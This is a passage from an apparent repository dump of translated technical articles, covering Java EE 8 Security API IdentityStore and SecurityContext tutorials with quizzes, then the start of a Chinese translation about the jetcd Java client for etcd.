`CredentialValidationResult`. Various methods on the returned `CredentialValidationResult` instance provide details about the caller's LDAP-distinguished name, unique identity store ID, result status, identity store ID, `Principal`, and group membership.\n\n**Note**: _Result status_ is important for determining the behavior of the `IdentityStoreHandler` when more than one `IdentityStoreHandler` has been configured; status options are `NOT_VALIDATED`, `INVALID`, or `VALID`.\n\n### Implementing validate() and getCallerGroups()\n\nThe `validate()` and `getCallerGroups()` methods are used to validate a caller's `Credential` or get their group information. Either or both methods can be used by a data store implementation. The methods that are actually implemented are declared by the `validationTypes()` method.\n\nThis feature allows you the flexibility to specify one identity store to perform authentication, while another is tasked with authorization. The `validationTypes()` method returns a set of `ValidationTypes`, which can contain `VALIDATE` or `PROVIDE_GROUPS` or both. The `VALIDATE` constant signifies that the `validate()` method has been implemented, and `PROVIDE_GROUPS` signifies that the `getCallerGroups()` method has been implemented. If both are returned then both methods have been implemented.\n\n**Note**: An `IdentityStore` should not maintain state, nor should it have any knowledge of the caller’s current progress in the authentication process. Logically, it does not make sense for the store to track a user's authentication state.\n\n## Handling multiple identity stores\n\nThe `IdentityStoreHandler` is used in scenarios that require handling multiple `IdentityStore` implementations. It provides one method called `validate()`, which has the same signature as the method of the same name on the `IdentityStore` implementation. The idea is to allow multiple identity stores to effectively operate as a single `IdentityStore`.\n\nThe `validate()` method on the `IdentityStoreHandler` performs a query of the identity stores using the following logic:\n\n1.  Call the `validate()` method of the identity stores in accordance with the capabilities declared by the `validationTypes()` method. Methods are called in the order determined by the `getPriority()` method.\n    *   If a `VALID` status result is returned, then no further identity stores need be interrogated. In that case logic jumps to Step 2.\n    *   If the status is `INVALID`, then this status is remembered for later use and the `IdentityStoreHandler` continues interrogating the remaining identity stores.\n2.  If only an `INVALID` status is returned then `INVALID` is return; otherwise `NOT_VALIDATED` is returned.\n3.  If a `VALID` result is returned and the identity store declares the `PROVIDE_GROUPS` validation type, then the `IdentityStoreHandler` will start collecting the caller group membership, which it does by aggregating the caller groups returned in the `CredentialValidationResult` object.\n    *   All `IdentityStores` that declare only the `PROVIDE_GROUPS` validation type are interrogated by calling the `getCallerGroups()` method. The returned list of group names is aggregated with the set of accumulated groups.\n4.  Once all `IdentityStores` have been interrogated, a `CredentialValidationResult` is constructed with a `VALID` status and the list of caller groups, and is returned.\n\n### Interrogation in practice\n\nNow let's look at a scenario that requires interrogating multiple identity stores. In this scenario, IdentityStore 1 connects to an RDBMS, while IdentityStore 2 and IdentityStore 3 connect to an LDAP container.\n\nIn Figure 1 the identity store handler iterates over `IdentityStore` instances in priority order, calling the `validate()` method on each instance until it finds a `CredentialValidationResult` that returns a `VALID` status. This happens on interrogating IdentityStore 2. The handler stops the iteration and starts the second iteration to collect the caller’s groups.\n\n##### Figure 1. IdentityStoreHandler’s first interrogation of identity stores\n\n![IdentityStoreHandler’s first interrogation of identity stores.](https://www.ibm.com/developerworks/java/library/j-javaee8-security-api-3/IdentityStorePass1.png)\n\nFigure 2 represents the second iteration. The handler calls the `getCallerGroups()` method on each `IdentityStore` instance, declaring a validation type of `PROVIDE_GROUPS` only.\n\nIn this scenario, the only identity store fitting that specification is IdentityStore 3. The caller groups returned are combined with the set of group names returned by calling `getCallerGroups()` on the `CredentialValidationResult` instance returned by IdentityStore 2.\n\n##### Figure 2. IdentityStoreHandler’s second interrogation of identity stores\n\n![IdentityStoreHandler’s second interrogation of identity stores.](https://www.ibm.com/developerworks/java/library/j-javaee8-security-api-3/IdentityStorePass2.png)\n\nOnce all the `IdentityStores` have been interrogated, a `CredentialValidationResult` is constructed with a `VALID` status and the list of caller groups is returned.\n\nThis simple example demonstrates how it is possible for a caller to be validated by one `IdentityStore`, and for a group membership list to be built from another.\n\n## Credentials with cookies\n\nJust as you saw with the `HttpAuthenticationMechanism` in Part 2, it is fairly easy to develop a custom `IdentityStore` solution using cookies. The `RememberMeIdentityStore` is similar to the `IdentityStore` interface, but is intended to be used by the interceptor binding backing the `@RememberMe` annotation, rather than by an authentication mechanism.\n\nThe `RememberMeIdentityStore` is used to:\n\n*   Generate a \"remember me\" login token for a caller.\n*   Remember the caller associated with the \"remember me\" login token.\n*   Validate the login token if the caller returns, and re-authenticate the caller without requiring additional credentials.\n\nThe `validate()` method is passed the `RememberMeCredential` and validates it, while the `generateLoginToken()` method associates a token with the given groups and principal. If no login token is found for the caller, or if the login token has expired, then normal authentication takes place.\n\n## Conclusion to Part 3\n\nThe `IdentityStore` interface provides the long-awaited simplification needed to integrate external caller authentication and authorization mechanisms in your Java enterprise applications. `IdentityStore` ensures portability across containers and servers, and makes it easy to communicate seamlessly with multiple identity stores.\n\nIf you don't need to implement a custom identity store, then just one annotation and a few connection details are enough to configure an LDAP container or RDBMS. Any Java EE 8 identity store will back the built-in `HttpAuthenticationMechanism`, so connecting LDAP logins to web users is extremely simple, requiring only a few annotations.\n\nStay tuned for the final article in this tutorial series, introducing the new `SecurityContext` interface.\n\n## Test your knowledge\n\n1.  Which of the following are used to configure built-in identity stores? (Select all that apply.)\n    1.  `@LdapIdentityStoreDefinition`\n    2.  `@DatabaseIdentityStoreDefinition`\n    3.  `@RdbmsIdentityStoreDefinition`\n    4.  `@DataBaseIdentityStoreDefinition`\n    5.  `@RememberMeIdentityStoreDefinition`\n2.  Which of the following `IdentityStore` interface methods have default implementations?\n    1.  Only `priority()` and `validationTypes()`.\n    2.  Only `priority()` and if not set the default priority is 100.\n    3.  Only `CredentialValidationResult()`, `priority()` and `validationTypes()`.\n    4.  All four interface methods.\n    5.  None of the interface methods.\n3.  Given multiple `IdentityStore` implementations, what is the default behaviour of the `IdentityStoreHandler` when a call to the `validate()` method returns `VALID`?\n    1.  It continues to interrogate the remaining identity stores before commencing with the second pass of the identity stores.\n    2.  It stops iteration and confirms the caller’s authorization by returning a `CredentialValidationResult` object.\n    3.  It restarts the iteration over the identity stores and calls the `getCallerGroups()` method.\n    4.  It calls the `getCallerGroups()` method on that identity store and constructs and returns a `CredentialValidationResult` object.\n    5.  None of the above\n4.  Which one of the following types are returned by calling the `getCallerGroups()` method on an `IdentityStore` instance?\n    1.  `List<String>`\n    2.  `Set<String>`\n    3.  `Map<Caller, String>`\n    4.  `Set<Group>`\n    5.  `List<Group>`\n5.  Which of the following statements about the `RememberMeIdentityStore` are true?\n    1.  `RememberMeIdentityStore` extends `IdentityStore`.\n    2.  It is intended to be used by the interceptor binding backing the `@RememberMe` annotation.\n    3.  It can be used to re-authenticate the caller without the need to provide additional credentials.\n    4.  It is one of the three built in IdentityStore types.\n    5.  If the \"remember me\" login token has expired, normal authentication takes place.\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/j-javaee8-security-api-4.md",
    "content": "> * 原文地址：[Get started with the Java EE 8 Security API Part 4: Interrogating caller data with SecurityContext](https://www.ibm.com/developerworks/java/library/j-javaee8-security-api-4/index.html?ca=drs-)\n> * 原文作者：[Alex Theedom](https://developer.ibm.com/author/alex.theedom)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/j-javaee8-security-api-4.md](https://github.com/xitu/gold-miner/blob/master/TODO1/j-javaee8-security-api-4.md)\n> * 译者：\n> * 校对者：\n\n# Get started with the Java EE 8 Security API, Part 4\n\n## Interrogating caller data with SecurityContext\n\nAuthenticate and authorize user access across servlet and EJB containers\n\nAbout this series:\n\nThe new and long-awaited [Java EE Security API (JSR 375)](https://jcp.org/en/jsr/detail?id=375) ushers Java enterprise security into the cloud and microservices computing era. This series shows you how the new security mechanisms simplify and standardize security handling across Java EE container implementations, then gets you started using them in your cloud-enabled projects.\n\nThe [previous article](https://www.ibm.com/developerworks/library/j-javaee8-security-api-3/index.html) in this series introduced `IdentityStore`, an abstraction used to setup and configure secure access to user credential data in Java™ web applications. While developers can combine `IdentityStore` with `HttpAuthenticationMechanism` for powerful, built-in authentication and authorization, `HttpAuthenticationMechanism`’s declarative security model is insufficient for some security needs. This is where the `SecurityContext` API comes in.\n\nIn this article, you’ll learn how to use `SecurityContext` to extend [HttpAuthenticationMechanism programmatically](https://www.ibm.com/developerworks/java/library/j-javaee8-security-api-2/index.html), thus enabling your web applications to deny or grant access to application resources. Note that examples in this article are based on a servlet container.\n\n[Get the code](https://github.com/readlearncode/Java-EE-8-Sampler/tree/master/security-1-0)\n\n## Installing Soteria\n\nWe’ll use the Java EE 8 Security API reference implementation, [Soteria](https://github.com/javaee/security-soteria), to explore the `SecurityContext` interface. You can get Soteria in one of two ways.\n\n### 1. Explicitly specify Soteria in your POM\n\nUse the following Maven coordinates to specify Soteria in your POM:\n\n##### Listing 1. Maven coordinates for the Soteria project\n\n```\n<dependency>\n  <groupId>org.glassfish.soteria</groupId>\n  <artifactId>javax.security.enterprise</artifactId>\n  <version>1.0</version>\n</dependency>\n```\n\n### 2. Use built-in Java EE 8 coordinates\n\nJava EE 8-compliant servers will have their own implementation of the new Java EE 8 Security API, or they’ll rely on Sotoria’s implementation. In either you only need the Java EE 8 coordinates:\n\n##### Listing 2. Java EE 8 Maven coordinates\n\n```\n<dependency>\n <groupId>javax</groupId>\n <artifactId>javaee-api</artifactId>\n <version>8.0</version>\n <scope>provided</scope>\n</dependency>\n```\n\nThe `SecurityContext` interface is located in the `javax.security.enterprise` package.\n\n## What SecurityContext does\n\nThe `SecurityContext` API was created to provide a consistent approach to application security across servlet and EJB containers. The _security context_ provides access to security-related information associated with the currently authenticated user, which can programmatically trigger the start of a web-based authentication process.\n\nServlet and EJB containers implement security context objects similarly, but with variation. For example, to obtain a user’s identity within the servlet container you would use an `HttpServletRequest` instance and call the `getUserPrincipal()` method to return a [UserPrincipal](https://docs.oracle.com/javase/8/docs/api/java/nio/file/attribute/UserPrincipal.html) object. In the EJB container, you would call a method of the same name on an `EJBContext` instance. Likewise, if you wanted to test whether a user belonged to a certain role, you would call the `isUserRole()` method on the `HttpServletRequest` instance in the servlet container. In an EJB container you would call the `isCallerInRole()` method on the `EJBContext` instance.\n\nThe new `SecurityContext` resolves these and other inconsistencies by providing a single mechanism for programmatically obtaining authentication and authorization information across servlet and EJB containers. The new Java EE 8 Security API specification stipulates that `SecurityContext` must be available in servlet and EJB containers compatible with Java EE 8. Some server vendors may also make `SecurityContext` available in other containers.\n\n## How SecurityContext works\n\nThe SecurityContext interface provides an entry point for programmatic security and is an [injectable type](http://www.cdi-spec.org/). It consists of the following five methods, none of which has a default implementation.\n\n### Caller data methods\n\n*   **The `getCallerPrincipal()` method** obtains the container-specific principal representing the name of the currently authenticated user. It returns `null` if the current caller is not authenticated. The principal type returned might be different from the type originally established by `HttpAuthenticationMechanism`. The important difference between this `getCallerPrincipal()` method and the method of the same name on the `EJBContext` interface is that it returns an instance of `Principal` with a null name for a user that is unauthenticated.\n*   **The `getPrincipalsByType()` method** returns all `Principals` of the specified type from the authenticated caller's `Subject`; if the type is not found or the current user is not authenticated then an empty `Set` is returned. You might use this method for a scenario where the container's caller principal was of a different type from the application's caller principal, or for an application needing information only available from the application’s caller principal.\n*   **The `isCallerInRole()` method** determines if the caller is included in the role passed in as a `String`. It returns `true` if the user has the role; otherwise it returns `false`. The result returned by calling this method will be the same as if a container-specific call had been made. Calling `HttpServletRequest.isUserInRole()` or `EJBContext.isCallerInRole()` will return true if `SecurityContext.isUserInRole()` returns true.\n\n### Additional methods\n\n*   **The `hasAccessToWebResource()` method** determines whether or not the caller has access to the given web resource for the given HTTP method in the current application. This is configured in the application’s security constraints, in accordance with Servlet 4.0’s specification on security constraints.\n*   **The `authenticate()` method** programmatically triggers the container to start or continue an HTTP-based authentication conversation with the caller as if the client has made the call to access the resource. This method is dependent on a valid servlet context because it requires an `HttpServletRequest` and `HttpServletResponse` instance. This method only works in the servlet container.\n\nNow that you have an overview of the methods and how they function, we’ll take a look at some code examples. All examples that follow are for `SecurityContext` methods in a Servlet 4.0 web application.\n\n## Example 1: Testing caller data in a servlet\n\n### SecurityContext’s getCallerPrincipal(), getPrincipalsByType(), and isCallerInRole() methods\n\nListing 3 combines `SecurityContext`’s three methods used to test caller data into one servlet, in order to demonstrate their use. In the example below, the `SecurityContext` is available as a CDI bean and therefore can be injected into any context-aware instance.\n\n##### Listing 3. Caller data methods in a servlet container example\n\n```\n@WebServlet(\"/securityContextServlet\")\n@ServletSecurity(@HttpConstraint(rolesAllowed = \"admin\"))\npublic class SecurityContextServlet extends HttpServlet {\n   \n   @Inject\n   private SecurityContext securityContext;\n \n   @Override\n   public void doGet(HttpServletRequest request, HttpServletResponse response) \n                                                             throws IOException {\n \n       // Example 1: Is the caller is one of the three roles: admin, user and demo\n       PrintWriter pw = response.getWriter();\n \n       boolean role = securityContext.isCallerInRole(\"admin\");\n       pw.write(\"User has role 'admin': \" + role + \"\\n\");\n \n       role = securityContext.isCallerInRole(\"user\");\n       pw.write(\"User has role 'user': \" + role + \"\\n\");\n \n       role = securityContext.isCallerInRole(\"demo\");\n       pw.write(\"User has role 'demo': \" + role + \"\\n\");\n \n \n       // Example 2: What is the caller principal name\n       String contextName = null;\n       if (securityContext.getCallerPrincipal() != null) {\n           contextName = securityContext.getCallerPrincipal().getName();\n       }\n       response.getWriter().write(\"context username: \" + contextName + \"\\n\");\n \n       // Example 3: Retrieve all CustomPrincipal\n       Set<CustomPrincipal> customPrincipals = securityContext\n                                            .getPrincipalsByType(CustomPrincipal.class);\n       for (CustomPrincipal customPrincipal : customPrincipals) {\n           response.getWriter().write((customPrincipal.getName()));\n       }\n \n   }\n \n}\n```\n\nIn the first example, the security context is used to test the logical roles in which the currently authenticated user participates. The roles being tested are admin, user, and demo.\n\nIn the second example, you see how to use the `getCallerPrincipal()` method to retrieve the platform-specific caller principal representing the name of the authenticated caller. This method returns `null` if the current user is not authenticated, so the appropriate `null` check must be done.\n\nThe final example shows how to use the `getPrincipalsByType()` method to retrieve a set of principals by type.\n\nNext, in Listing 4, you see a custom principal implementing the `Principal` interface. The call to `getPrincipalsByType()` method will retrieve a set of this type of principal.\n\n##### Listing 4. Custom principal\n\n```\npublic class CustomPrincipal implements Principal {\n \n   private final String name;\n \n   public CustomPrincipal(String name) {\n       this.name = name;\n   }\n \n   @Override\n   public String getName() {\n       return name;\n   }\n}\n```\n\n## Example 2: Testing caller access to a web resource\n\n### SecurityContext’s hasAccessToWebResources() method\n\nListing 5 shows how to use `hasAccessToWebResource()` to test a caller’s access to a given web resource for a specified HTTP method. In this case I’ve injected the `SecurityContext` instance into the servlet and called `hasAccessToWebResource()`. We want to test if the caller has `GET` access to the resource locate at the URI `/secretServlet` (show in Listing 6), so we pass the shown arguments to the method. If the caller has the admin role the method will return `true`; otherwise it will return `false`.\n\n##### Listing 5. SecurityContext’s hasAccessToWebResource()\n\n```\n@WebServlet(\"/hasAccessServlet\")\npublic class HasAccessServlet extends HttpServlet {\n   \n   @Inject\n   private SecurityContext securityContext;\n \n   @Override\n   public void doGet(HttpServletRequest req, HttpServletResponse res) \n                                         throws ServletException, IOException {\n \n       boolean hasAccess = securityContext.hasAccessToWebResource(\"/secretServlet\", \"GET\");\n \n   }\n}\n```\n\n##### Listing 6. Resource to test for access\n\n```\n@WebServlet(\"/secretServlet\")\n@ServletSecurity(@HttpConstraint(rolesAllowed = \"admin\"))\npublic class SecretServlet extends HttpServlet { }\n```\n\n## Example 3: Authenticating caller access\n\n### SecurityContext’s authenticate() method\n\nThe final example shows how to use the `authenticate()` method to validate user-entered credentials. First, the user enters a username and password into the JSF shown in Listing 7. Once submitted, the `LoginBean` processes and authenticates the credentials, as shown in Listing 8.\n\n##### Listing 7. Login form\n\n```\n<form jsf:id=\"form\">\n    <p>\n      <strong>Username </strong>\n      <input jsf:id=\"username\" type=\"text\"    jsf:value=\"#{loginBean.username}\" />\n    </p>\n    <p>\n      <strong>Password </strong>\n      <input jsf:id=\"password\" type=\"password\" jsf:value=\"#{loginBean.password}\" />\n    </p>\n    <p>\n      <input type=\"submit\" value=\"Login\" jsf:action=\"#{loginBean.login}\" />\n    </p>\n</form>\n```\n\nThe `username` and `password` entered are set on the `LoginBean` (Listing 8) in order to generate a `Credential` instance. This credential is then used to create an `AuthenticationParameters` instance. This instance is passed to the `authenticate()` method together with the `HttpServletRequest` and `HttpServletResponse` instances, which are retrieved from the `FacesContext`. The `AuthenticationParameters` instance then returns a value of the `AuthenticationStatus` enum.\n\nThe `AuthenticationStatus` enum indicates the status of the authentication process and can be one of the following values:\n\n*   `**NOT_DONE**`: The authentication mechanism was called but it decided not to authenticate. Typically, this status would be returned in preemptive security.\n*   `**SEND_CONTINUE**`: The authentication mechanism was called and a multi-step authentication conversation with the caller has been initiated.\n*   `**SUCCESS**`: The authentication mechanism was called and the caller was successfully authenticated. The caller principal is available.\n*   `**SEND_FAILURE**`: The authentication mechanism was called but the caller was not successfully authenticated and therefore the caller principal is not available.\n\nNote that in Java EE 8 the `FacesContext` has been made injectable in JSF 2.3.\n\n##### Listing 8. Login bean processes and authenticates caller credentials\n\n```\n@Named\n@RequestScoped\n@FacesConfig(version = JSF_2_3)\npublic class LoginBean {\n   \n   @Inject\n   private SecurityContext securityContext;\n \n   @Inject\n   private FacesContext facesContext;\n \n   private String username, password;\n   \n   public void login() {\n       \n       Credential credential = new UsernamePasswordCredential(username, new Password(password));\n       \n       AuthenticationStatus status = securityContext.authenticate(\n           getRequestFrom(facesContext),\n           getResponseFrom(facesContext),\n           withParams().credential(credential));\n       \n       if (status.equals(SEND_CONTINUE)) {\n           facesContext.responseComplete();\n       } else if (status.equals(SEND_FAILURE)) {\n           addError(facesContext, \"Authentication failed\");\n       }\n       \n   }\n   \n   private static HttpServletResponse getResponseFrom(FacesContext context) {\n       return (HttpServletResponse) context\n           .getExternalContext()\n           .getResponse();\n   }\n   \n   private static HttpServletRequest getRequestFrom(FacesContext context) {\n       return (HttpServletRequest) context\n           .getExternalContext()\n           .getRequest();\n   }\n   \n \n   // Getter and setters omitted\n}\n```\n\n## Conclusion\n\nWith this series you’ve seen how the new Java EE 8 Security API integrates some of the most popular and dependable Java EE technologies into common enterprise authentication and authorization routines. Among other features, the Java developer community asked for a simplified security model that was consistent over servlet and EJB containers, and that is exactly what `SecurityContext` delivers.\n\nWhile my examples are based on a servlet container, `SecurityContext` makes it simple to interrogate caller principals consistently across servlet and EJB containers. Developers who have had to combine XML and annotation-based configuration for recent Java EE apps will rejoice at the move to a pure annotations framework. The new Security API also supports XML declarations, which makes migrating older projects to Java EE 8 relatively simple and stress free, without any immediate need to change security configurations.\n\nI hope you’ve enjoyed this series and are able to put your new knowledge into practice. Be sure to test your understanding in the final quiz below.\n\n## Test your knowledge\n\n1.  Which of the following methods belong to the `SecurityContext` interface?\n    1.  `getCallerPrincipal()`\n    2.  `isUserRole()`\n    3.  `getPrincipalsByType()`\n    4.  `isCallerInRole()`\n    5.  `isCallerPrincipal()`\n2.  What does the `hasAccessToWebResource()` method test?\n    1.  If the specified user has access to the given resource\n    2.  If the servlet has rights to access to resource\n    3.  If the caller has access to the specified resource\n    4.  If the caller has access to the remote web resource\n3.  What does the `getPrincipalsByType()` method return?\n    1.  A set of `Principal`s of the given type from the callers `Subject`\n    2.  The `Principal` of the given type from the context\n    3.  A list of `Principal`s of the given type\n    4.  `Null` if the caller is not authorized\n    5.  An empty set if the caller is not authorized\n4.  Which of these are behaviors of the `getCallerPrincipal()` method?\n    1.  Returns the name of the authenticated caller\n    2.  Returns `null` if the current caller is not authenticated\n    3.  Returns a set of the caller’s `Principal`s\n    4.  Returns the platform-specific `Principal` for the authenticated caller\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/java-and-etcd-together-at-last-with-jetcd.md",
    "content": "> * 原文地址：[Java and etcd: together at last, with jetcd](https://coreos.com/blog/java-and-etcd-together-with-jetcd)\n> * 原文作者：[Fanmin Shi](https://coreos.com/blog/java-and-etcd-together-with-jetcd)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/java-and-etcd-together-at-last-with-jetcd.md](https://github.com/xitu/gold-miner/blob/master/TODO1/java-and-etcd-together-at-last-with-jetcd.md)\n> * 译者：[mingxing](https://github.com/mingxing47)\n> * 校对者：[xiantang](https://github.com/xiantang)\n\n# Java 和 etcd: 因为 jetcd 最终走到了一起\n\n可靠的键值存储为分布式系统提供了一致性配置和协调的公共基础。[etcd](https://github.com/coreos/etcd) 项目就是一个这样的系统，这是一个由 CoreOS 创建的开源键值存储系统。它是许多[生产级分布式系统](https://github.com/coreos/etcd/blob/master/documentation/producing-users.md)的核心组件和 [Kubernetes](https://kubernetes.io/) 等项目的数据存储中心。\n\nJava 已经通过在包括 Hadoop 生态系统、Cassandra 数据存储和云基础设施技术栈中的使用而证明了自己是一种流行的分布式系统语言。此外，它仍然是一种非常流行的语言。可以看看在[谷歌趋势](https://trends.google.com/trends/explore?cat=32&q=%2Fm%2F07sbkfb,%2Fm%2F09gbxjr,%2Fm%2F06ff5,%2Fm%2F0gdzk,%2Fm%2F02p97)的统计数据中，Java 仍然占据主导地位：\n![](https://coreos.com/sites/default/files/inline-images/google-trends-java.png)\n> 就谷歌搜索结果而言，Java 仍然比 Microsoft 的 .Net 甚至 JavaScript 语言更受欢迎\n\n面对着 Java 的流行及其在分布式系统中的普遍使用，我们认为对于 Java 开发来说，etcd 也应该作为后端基础被使用到。jetcd 这个新的 etcd 客户端的出现，将 etcd v3 API 带到了 Java 中。\n\n通过使用 jetcd，Java 应用程序可以使用包装了 etcd 的原生 [gRPC](https://github.com/coreos/etcd/blob/master/Documentation/dev-guide/api_reference_v3.md) 协议的智能 API 来与 etcd 进行纯粹的交互。该 API 提供了仅在 etcd 上可用的表达性分布式特性。更重要的是，通过直接支持更多的语言，使用新的使用模式更容易为 etcd 编写新的应用程序，从而帮助 etcd 变得更加稳定和可靠。\n\n## 初级入门\n\n你可以通过构建并运行一个名为 `jetcdctl` 的[小例子程序](https://github.com/coreos/jetcd/tree/master/jetcd-examples/jetcd-simple-ctl)来试用 jetcd，该程序使用了 jetcd 去访问 etcd。对于更进一步的 jetcd 项目来说，jetcdctl 示例也是一个很好的起点。要继续学习，你还需要同时安装 Git 和 Java。\n\n首先，克隆 jetcd 库来获取 jetcd 源码，然后使用 Maven 来构建 `jetcd-simple-ctl` 吧:\n\n``` plain\n$ git clone https://github.com/coreos/jetcd.git\n$ cd jetcd/jetcd-examples/jetcd-simple-ctl\n$ ./mvnw clean package\n```\n\n构建并准备好运行 `jetcdctl` 之后，下载一个 [etcd 发行版](https://github.com/coreos/etcd/releases)并在本地启动一个 etcd 服务。（译者注：若以下 “go get” 命令无法正常运行，可以参考[这里的资料](https://github.com/etcd-io/etcd/blob/master/Documentation/dl_build.md)）：\n\n``` plain\n# build with “go get github.com/coreos/etcd/cmd/etcd”\n$ etcd &\n```\n\n接下来，使用 `jetcdctl` 将 `123` 写入 `abc`，与本地 etcd 服务器进行通信：\n\n``` plain\n$ java -jar target/jetcdctl.jar put abc 123\n21:39:06.126|INFO |CommandPut - OK\n```\n\n你可以通过读取 `abc` 来确认写入 etcd 的 put 命令的正确性:\n\n``` plain\n$ java -jar target/jetcdctl.jar get abc 21:41:00.265|INFO |CommandGet - abc 21:41:00.267|INFO |CommandGet - 123\n```\n\n我们已经通过 get 和 put keys 演示了 jetcd 的基本功能。现在，让我们进一步研究如何在代码中使用 jetcd 吧。\n\n## 更好的 watches（观察）特性\n\njetcd API 可以方便地管理 etcd 的底层 [gRPC](https://github.com/coreos/etcd/blob/master/Documentation/dev-guide/api_reference_v3.md) 协议。一个例子是 streaming key 事件，其中客户端观察 key，etcd 服务端不断地往客户端发回更新信息。jetcd 客户端管理着一个低级别的 gRPC 流，用来优雅地处理断开连接，并向用户呈现一个无缝的事件流。\n\n如果 jetcd 应用程序希望接收到一个 key 的所有更新，它将使用 [watch](https://github.com/coreos/jetcd/blob/18b235a77aa680039cec170a394b8156fb01d7f0/jetcd-core/src/main/java/com/coreos/jetcd/Watch.java#L46) API 来创建一个 [Watcher](https://github.com/coreos/jetcd/blob/18b235a77aa680039cec170a394b8156fb01d7f0/jetcd-core/src/main/java/com/coreos/jetcd/Watch.java#L51)：\n\n``` java\nWatcher watch(ByteSequence key)\n```\n\n`Watcher` 的 `listen` 方法从 etcd 中读取 `WatchResponse` 消息。每个 `WatchResponse` 包含被监视 key 上的最新事件序列。如果没有任何事件，则 `listen` 被阻塞，直到有更新为止。`listen` 方法是可靠的；它不会在调用之间删除任何事件，即使在断开连接的情况下：\n\n``` java\nWatchResponse listen() throws InterruptedException\n```\n\n总之，客户端创建一个 `Watcher`，然后使用 `listen` 来等待事件。下面是在 key `abc` 上进行观察的代码，打印观察到的 key 和 value，直到 `listen` 抛出异常：总之，客户端创建一个 `Watcher`，然后使用 `listen` 来等待事件。下面是观察 key `abc` 的代码，打印 key 和 value，直到 `listen` 抛出异常：\n\n\n``` java\nClient client = Client.builder().endpoints(“http://127.0.0.1:2379).build();\nWatcher watcher = client.getWatchClient().watch(ByteSequence.fromString(\"abc\"));\nwhile (true) {\n    for (WatchEvent event : watcher.listen().getEvents()) {\n        KeyValue kv = event.getKeyValue();\n        System.out.println(event.getEventType());\n        System.out.println(kv.getKey().toStringUtf8());\n        System.out.println(kv.getValue().toStringUtf8());\n    }\n}\n```\n\n将此特性与 Apache 基金会中与 etcd 对标的 [ZooKeeper](https://zookeeper.apache.org/doc/r3.4.10/) 进行比较。从 ZooKeeper 3.4.10 开始，[watch 就已经是一次性触发器](https://zookeeper.apache.org/doc/trunk/zookeeperProgrammers.html#sc_WatchSemantics)，这意味着一旦收到一个 watch 事件，您必须设置一个新的 watch，以便在将来发生更改时得到通知。要传输密钥事件，可会断必须与集群联系，为每个新事件注册一个新的观察者。\n\n要在 key 更新时连续打印 key 的内容，ZooKeeper 应用程序首先创建一个 [Watcher](https://zookeeper.apache.org/doc/r3.4.10/api/org/apache/zookeeper/Watcher.html) 来侦听 `WatchedEvent` 消息。观察程序实现了一个事件回调方法 `process`，当 key 发生更改时就会调用该方法。要在事件中注册兴趣，观察程序需要添加到 [exists](https://zookeeper.apache.org/doc/r3.4.10/api/org/apache/zookeeper/ZooKeeper.html#exists%28java.lang.String，%20org.apache.zookeeper.Watcher%29) 方法中，该方法获取 key 的元数据(如果有的话)。当 key 发生变化时，观察者的 `process` 方法就会调用 [getData](https://zookeeper.apache.org/doc/r3.4.10/api/org/apache/zookeeper/ZooKeeper.html#getData%28java.lang.String,%20org.apache.zookeeper.Watcher,%20org.apache.zookeeper.AsyncCallback.DataCallback,%20java.lang.Object%29) 来检索 key 的值，然后再次注册相同的观察者来接收未来的更改，如下所示：\n\n``` java\nkey = “/abc”;\nWatcher w = new Watcher() {\n  public void process(WatchedEvent event) {\n    try {\n      System.out.println(event.getType());\n      System.out.println(event.getPath());\n      if (event.getType() != EventType.NodeDeleted) {\n        System.out.println(new String(zk.getData(event.getPath(), false, null)));\n      }\n      zk.exists(key, this);\n    } catch (Exception e) {\n      e.printStackTrace();\n    }\n  }\n};\nzk.exists(key, w);\n```\n\n与 jetcd 示例不同，ZooKeeper 代码[不能保证它观察所有更改](https://zookeeper.apache.org/doc/trunk/zookeeperProgrammers.html#sc_WatchSemantics)，因为在监视程序接收事件和发送请求以获取新监视之间存在延迟。例如，在执行 `process` 和调用 `exists` 以注册新监视程序之间发生了一个事件。由于没有注册任何观察程序，因此该事件永远不会被触发，并且会丢失。\n\n即使假设所有事件都已触发，代码仍然可能破坏事件流。没有 etcd 提供的[多版本并发控制](https://github.com/coreos/etcd/blob/master/Documentation/learning/data_model.md)，就无法访问历史 key。如果 key value 在接收事件和获取数据之间发生了变化，代码将打印出最新的值，而不是与 watch 事件关联的值。更糟的是，事件没有附带修订信息；无法确定 